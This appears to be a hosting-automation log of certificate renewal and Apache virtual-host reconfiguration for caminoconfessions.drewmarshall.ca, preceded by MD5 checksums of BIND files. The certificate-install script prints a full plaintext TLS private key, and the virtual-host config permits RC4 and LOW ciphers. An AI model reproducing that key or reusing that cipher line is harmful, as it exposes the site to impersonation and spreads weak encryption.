MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2026-01-05 13:46:17: Establishing a connection
2026-01-05 13:46:17: Establishing a connection
2026-01-05 13:46:17:
PUT: /tmp/pkp309987
#!/bin/bash
if [ -d "/var/www/drewmarshall_caminoconfessions/.well-known" ]; then
echo 1
else
echo 0
fi
2026-01-05 13:46:17:
chmod 755 /tmp/pkp309987; /tmp/pkp309987; rm /tmp/pkp309987
2026-01-05 13:46:17:
1
2026-01-05 13:46:18: Establishing a connection
2026-01-05 13:46:19:
PUT: /tmp/pkp288218
#!/bin/bash
mkdir -p "/var/www/drewmarshall_caminoconfessions/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_caminoconfessions/.well-known/acme-challenge/"
cat > GKQ3yuGWHtMxe1ANzB_0uPVggc-QmHVnp5GW6TVC78Q <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
GKQ3yuGWHtMxe1ANzB_0uPVggc-QmHVnp5GW6TVC78Q.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 GKQ3yuGWHtMxe1ANzB_0uPVggc-QmHVnp5GW6TVC78Q
2026-01-05 13:46:19:
chmod 755 /tmp/pkp288218; /tmp/pkp288218; rm /tmp/pkp288218
2026-01-05 13:46:19:
2026-01-05 13:46:28: Establishing a connection
2026-01-05 13:46:29:
PUT: /tmp/pkp588065
#!/bin/bash
mkdir -p "/var/www/drewmarshall_caminoconfessions/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_caminoconfessions/.well-known/acme-challenge/"
rm GKQ3yuGWHtMxe1ANzB_0uPVggc-QmHVnp5GW6TVC78Q
2026-01-05 13:46:29:
chmod 755 /tmp/pkp588065; /tmp/pkp588065; rm /tmp/pkp588065
2026-01-05 13:46:29:
2026-01-05 13:46:29: Establishing a connection
2026-01-05 13:46:29:
PUT: /tmp/pkp802322
#!/bin/bash
temp_file=$(mktemp)
TARGET=0d4c12a0a7fdfe4c1c8d0a1e449bbfe7.crt
cat > $temp_file <<'endmsg'
b4:e0:d2:3b:b1:92:86:d9:32:16:23:e3:f6:fd:a1:6f
-----BEGIN CERTIFICATE-----
MIIFHjCCBAagAwIBAgISBbZSPG9kq+uPobbdA7b2hnUvMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTA1MTI0NzU4WhcNMjYwNDA1MTI0NzU3WjAsMSowKAYDVQQD
EyFjYW1pbm9jb25mZXNzaW9ucy5kcmV3bWFyc2hhbGwuY2EwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDN9Uwy9GjmokTnjyC25cfD8Py0ovh/df5xs36M
gT//yCAlk45pkvohox4LTWfklJD84bd5A20vFv64jEjS3gWl2gP6s63/icZ3cJ5Z
Vbekqua3/G1TCKe2tOx0TaVPvMn9RtAZQHZ5ha0nN5ZrScW2pNxrjaMSIBiVHVDk
6cUVzWn4iElPkQ/trEstMAlp0NTOetyhIwjB7ikG8rddJvRm2eCi2+bgM2TL7fo6
hdIke5i2C+el4w6iFLp/TVsRxJSK2MGpSyUxLwQ8G8UTG1d8XUDIOcaTUtz3SNyj
mDHPhf5EMFhp6qODgkKgxetZiEC+aYKwGsxd6y1Dh7er/Z25AgMBAAGjggIxMIIC
LTAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMC
MAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFLbWr3VMBcYCz8A3UHhgGgOWaTvjMB8G
A1UdIwQYMBaAFOernw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAj
BggrBgEFBQcwAoYXaHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wLAYDVR0RBCUwI4Ih
Y2FtaW5vY29uZmVzc2lvbnMuZHJld21hcnNoYWxsLmNhMBMGA1UdIAQMMAowCAYG
Z4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcv
NDguY3JsMIIBBAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYASZybad4dfOz8Nt7Nh2Sm
uFuvCoeAGdFVUvvp6ynd+MMAAAGbjmjBUAAABAMARzBFAiBxlfi4mn64gdrXHCub
v1s5m4ygMN6NJB0K7TihviupowIhAPJfsiCkwOgDVotSZIRvXAClqBam04qeMnkg
gMdgacNyAHYAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcAAAGbjmjB
WQAABAMARzBFAiAHmHusqIQQKPKVmdMjxgNM9QipyAwxWwfDNRztSkaY/QIhAK0J
4f7iC1OKzeW7HBf0V728uDyzgK0JMwpIuc/egQLNMA0GCSqGSIb3DQEBCwUAA4IB
AQAGBE08kLdgJcz5K18zCUl6R+CuDf9vAAqJm6BctbBtzgq7zgyZmFJlDrK2CiGy
lTlviDTYcS/Ee2Lslne4FniLqQB5WXJsDCqn9WaGy9G4Afo71aL7Ok0YBPD3FR5X
C2Xz32vmBXc3+wmoHuxzJ07wG4L4d0ELatdFpXwKiTElGY9hoUBfxTYshK9vGPUL
GUUukk/L57qef1iGtG86RsPCLKXu2lrKQVST9vzI/oKFy5Nwj8JlUXryrAV/+m2J
jtPW4hOEu2Z4Azi5Y3xAucznGkolloFypgSt29U2hTrfkGSki1u+yAHeRu2srl1H
d11uCwHxC/vkr4Zd/bYEmfje
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDN9Uwy9GjmokTn
jyC25cfD8Py0ovh/df5xs36MgT//yCAlk45pkvohox4LTWfklJD84bd5A20vFv64
jEjS3gWl2gP6s63/icZ3cJ5ZVbekqua3/G1TCKe2tOx0TaVPvMn9RtAZQHZ5ha0n
N5ZrScW2pNxrjaMSIBiVHVDk6cUVzWn4iElPkQ/trEstMAlp0NTOetyhIwjB7ikG
8rddJvRm2eCi2+bgM2TL7fo6hdIke5i2C+el4w6iFLp/TVsRxJSK2MGpSyUxLwQ8
G8UTG1d8XUDIOcaTUtz3SNyjmDHPhf5EMFhp6qODgkKgxetZiEC+aYKwGsxd6y1D
h7er/Z25AgMBAAECggEAEcwIDRq+M9IpNrWd/V/56DsbQx3jPKeWcjHKyVswpUQg
TwIjDlYzUHownu5ngCkiv2j4lASEe0sdfX0vaWIV39qCeVGGEBMfBMD4PFgu82Ck
Av/VKWJelIGp/kGbyG06XeBjT0NMP/Aze031rNV/noQ8p2IvIxWF7XpOiRfDcY1n
CsOoVWmD0FRAsAud+9VZ4S+M0aWP0Y0XiVuYJ18yVhj5sH7atis5BASlqWA1ddzT
wMx4q+NkZbeEy7tA0UMIcp9+Mjp7v1iZhPTPEFr/gHEZ6R5B1UpC3UWHyrUaAecU
/itaT0Msr9FTtWBvFzpii7Wqcut6HygVQ22eQ19svwKBgQD0+mFAVhA9qnNvRYyz
se+qIs+9fy9XHbm+c3EsGXcq1gH/Y7BoVit4ki+LNe57N9FitvG0gshM1M4HM8h7
MQz9bUAIRLjMZyQ/1gT02aAg0iYUyXv7x+UCuNnSmjXT/ipp0ECretkHIzkljVeY
Etr68Tmpht+SWPCYEl0R2NQgzwKBgQDXOX41VMBtkjb20w9+zqlIpPDLtiuzKgwJ
CjCuUDTGffu24vRTbRt3LdtOlRXkw+d3p80uUxrRA03rRR2lmVPHAyCT4qdVARYB
tlOaor4gt1MmvcwC5XZ/bPtDExOUATd3RClfG77bQtMuidRsDftf2CThATgkTAXO
ZyRg0xAq9wKBgGc9eWymmHOUeM9k7RXxoAIAZ7IBfo7lHRkxB3nBRaJMzEy302k1
H17RpK2zTcypylkiphwfnZAbgrQwU4XvNv06ZGjXpVWnBfTNGguiB0Stq5TJELIc
HNwX0NxbVuH/VBqBxC9AN2Q1qOi1dzvEfnqQ3G8gQuonB0XfP0+9JDCrAoGAL7NJ
Wo6PG3nFfszmaUdqU3Ri/fNBGjNeeX5traSPHdL8P9trJTZQWQiry23VbV9R5L4n
BnZawipGUbd+y54A6GG0DbK1PWzBMN31B5e8JcobvsFf/uBWdAV2ZrZKp4nhfih4
NuESWswju/PGRbCPnv1rpwa7J6hFvSo08NS2h58CgYAeleqPCxJRfGTgDepoDrNg
ch2MVda7lo45Cs2lbBDcPuIzI3hIxnlw4IqBixl3okKHaWEtshXq+/Tds8MEZQxU
lZYe8kXhR/8VH+WE0m4MAttqxDP5BXfStJDFvQC3MZzbiFLQvQMPu8e9dpfRQ6Tm
bvR5klqyjp7rR9Cm+nHIKw==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2026-01-05 13:46:29:
chmod 755 /tmp/pkp802322; /tmp/pkp802322; rm /tmp/pkp802322
2026-01-05 13:46:29:
dir=/etc/ssl/certs
2026-01-05 13:46:29:
PUT: /tmp/pkp547330
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf"
gzip -cn9 $temp_file
rm $temp_file
2026-01-05 13:46:29:
chmod 755 /tmp/pkp547330; /tmp/pkp547330; rm /tmp/pkp547330
2026-01-05 13:46:29:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf 57
<VirtualHost *:80>
ServerName caminoconfessions.drewmarshall.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/drewmarshall_caminoconfessions
<Directory /var/www/drewmarshall_caminoconfessions>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/caminoconfessions_access.log combined
ErrorLog /var/log/apache2/drewmarshall/caminoconfessions_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName caminoconfessions.drewmarshall.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/0d4c12a0a7fdfe4c1c8d0a1e449bbfe7.crt
DocumentRoot /var/www/drewmarshall_caminoconfessions
<Directory /var/www/drewmarshall_caminoconfessions>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/caminoconfessions_secure_access.log combined
ErrorLog /var/log/apache2/drewmarshall/caminoconfessions_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2026-01-05 13:46:29:
PUT: /tmp/pkp133514
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=drewmarshall_caminoconfessions_ca.conf
TARGET=/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName caminoconfessions.drewmarshall.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/drewmarshall_caminoconfessions
<Directory /var/www/drewmarshall_caminoconfessions>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/caminoconfessions_access.log combined
ErrorLog /var/log/apache2/drewmarshall/caminoconfessions_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName caminoconfessions.drewmarshall.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/0d4c12a0a7fdfe4c1c8d0a1e449bbfe7.crt
DocumentRoot /var/www/drewmarshall_caminoconfessions
<Directory /var/www/drewmarshall_caminoconfessions>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/caminoconfessions_secure_access.log combined
ErrorLog /var/log/apache2/drewmarshall/caminoconfessions_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf= 1'
fi
2026-01-05 13:46:29:
chmod 755 /tmp/pkp133514; /tmp/pkp133514; rm /tmp/pkp133514
2026-01-05 13:46:29:
2026-01-05 13:46:29:
PUT: /tmp/pkp633185
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2026-01-05 13:46:29:
chmod 755 /tmp/pkp633185; /tmp/pkp633185; rm /tmp/pkp633185
2026-01-05 13:46:30:
